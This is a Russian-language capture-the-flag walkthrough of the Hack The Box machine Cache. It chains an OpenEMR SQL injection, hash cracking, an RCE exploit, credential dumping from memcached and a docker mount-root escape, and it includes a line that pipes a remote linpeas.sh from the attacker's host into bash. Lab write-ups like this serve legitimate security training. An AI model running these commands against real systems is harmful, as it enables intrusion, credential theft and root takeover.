Hack The Box. Прохождение Cache. RCE в OpenEMR, memcached и docker

wf9i8rzw6i1pfkq4wbbjyf0ktaa.png


Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье эксплуатируем уязвимости в CMS OpenEMR, работаем с memcached и docker.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.


Recon


Данная машина имеет IP адрес 10.10.10.188, который я добавляю в /etc/hosts.

10.10.10.188 	blackfield.htb


Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент — адрес сканируемого хоста:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1


skgxjb-1-m9litqvbbc0effzvn0.png

На сервере работают SSH и веб сервер Apache.

l263qjosrk_idmgdopyvyg24ats.png

И на сайте возможна авторизация.

8cijfhuyfvsztdq6rtb71vr1gie.png

Entry Point


В Burp Suite мы можем посмотреть, что за собой тянет каждая страница. И находим интересный JS файл, в котором есть проверка логина и пароля.

dewan7b0y2viosxjdkcipbcwoba.png

И авторизовавшись с этими данными, получим только какую-то картинку.

-recfstzbuikkxfsvtfzera7yli.png

Просматривая сайт дальше, на About странице находим упоминание о HMS.

pciikceuvvdwlztzhe8mdm-youc.png

Я добавил данное имя в /etc/hosts и посмотрел, что вернет нам сервер.
10.10.10.188 hms.htb
b9ybmht1qmif672bhwyqz4nun5y.png

Так уже лучше. Это CMS OpenEMR. Давайте посмотрим для нее эксплоиты (обратим внимание, что данная версия 2018 года).

t-wbjfkwztjypaqym-t7vegx-ew.png

И есть RCE (возьмем последнюю версию из представленных). Я скопировал код эксплоита в текущую рабочую директорию.

ut44s3b8pl0_ibc4-8xaachqm2o.png

В коде видим, что нужно указать учетные данные.

c_auu3b2lgkbe82f0wiqaguelxi.png

А в описании к эксплоиту есть ссылка на PoC.

o9gtoewyetnpidsiavom0jbnoxw.png

Изучая материал по данной ссылке, узнаем о SQL инъекции.

2xtl6x9axufonnmyzggws3jibye.png

USER


Давайте перейдем к hms.htb/portal и попробуем зарегистрироваться.

lgjy3dehd6gfmlc4fp7m4sek6sq.png

После чего перейдем по следующему адресу hms.htb/portal/add_edit_event_user.php? eid=1 и получим ошибку.

jfqkdd2drdp6yiogxrw598bmsfc.png

Я повторил запрос через Burp Suite и сохранил его в файл. Давайте раскрутим SQL инъекцию с помощью sqlmap, передав ему этот файл запроса.

sqlmap -r r.req


96uwqzwbchol5rw95fi9-dzqbfu.png

И есть инъекция! Получим все БД.

sqlmap -r r.req --dbs


ztf2umsjhndx9pzynzekmjwrmgk.png

Теперь узнаем таблицы из openemr.

sqlmap -r r.req -D openemr --tables


oo3h4y86ajf2-mfantmogst-5o4.png

Самую интересную я выделил на изображении, давайте получим данные из нее.

sqlmap -r r.req -D openemr -T users_secure --dump


zpeuwq3bft7_osagpexfpqixig4.png

И есть хеш bcrypt, давайте узнаем его режим в Hashcat.

hashcat --example | grep -A2 -B2 '\$2a\$'


lkty-v0ibxnye-xzjf1ffrh34gi.png

А теперь перебираем и находим пароль.

hashcat -m 3200 -a 0 openemr_admin.hash ./tools/rockyou.txt --force


fl53kpivmf18r3krqtmhnpqnvz0.png

И укажем наш адрес и порт для прослушивания, полученные учетные данные и адрес страницы сайта в коде эксплоита.

rlbrckaf2k_-bnemb1ifujpm3ey.png

2_bmjvtryoo0bklosv5k-o6o3zu.png

Откроем листенер и выполним эксплоит.

0fztpgk47qjginc1uymqzvdghte.png

Глянем какие есть пользователи.

kgjv_lwi18c3nhlwbdpoqlzefom.png

Сделаем нормальный TTY шелл и перелогинимся под пользователем ash, так как мы знаем его пароль.

python3 -c 'import pty;pty.spawn("/bin/bash")'


iae_t6csctwlrdxav27j_n6jyps.png

И получаем первый флаг.

hdxsx8ib-zwuczq3lxt4u9gs8ca.png

USER2


Для разведки на удаленном хосте используем скрипт LinPEAS.

curl 10.10.15.110/linpeas.sh | /bin/bash


utb4awkgmxr1jxzequkdjmx9pcw.png

eehrzeou07r-q-jlqecwdxe9nkk.png

athtrli00tm7iorplgqoiv4ascq.png

urs8_-ajygxfsdusrky9doqzfda.png

rwb20nkx1idpc5a_7onaywm0gs4.png

И есть много информации: присутствует docker, причем второй пользователь входит в группу docker (999); При этом на локальном порте 11211 работает сервис memcached. Вся память memcached делится на куски — slab«ы. Давайте подключимся к порту 11211 и запросим их.

telnet localhost 11211
stats slabs


irovs1dibbzjoxh2gy2wws-40pi.png

Slab«ы делятся на еще более мелкие куски — chunk«и. Так мы видим всего один Slab и его чанки. Давайте узнаем, что он хранит.

stats cachedump 1 0


kbbc6kqm4ste3obu32max-to_co.png

Так каждая строка имеем определенный ключ-идентификатор, рядом с которым указан размер данных по данному ключу и timestamp. Нас конечно интересуют данные user и passwd.

get user
get passwd


gee40gjwrbmfaydfgdf6mtl1mzw.png

И получаем второго пользователя (можно авторизоваться по SSH).

b_vzd0nas4jms3wc0cosa9kguse.png

ROOT


Мы уже упоминали докер, давайте посмотрим образы.

docker images


t58ojzeaujbq-j9zzso4b4kvjm8.png

Есть один образ ubuntu. Давайте примонтируем его.

docker run -v /:/mnt --rm -it  ubuntu chroot /mnt bash


И забираем флаг рута.

h1udm4gxdldyh7g1cv1wcz5hwgc.png

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.

© Habrahabr.ru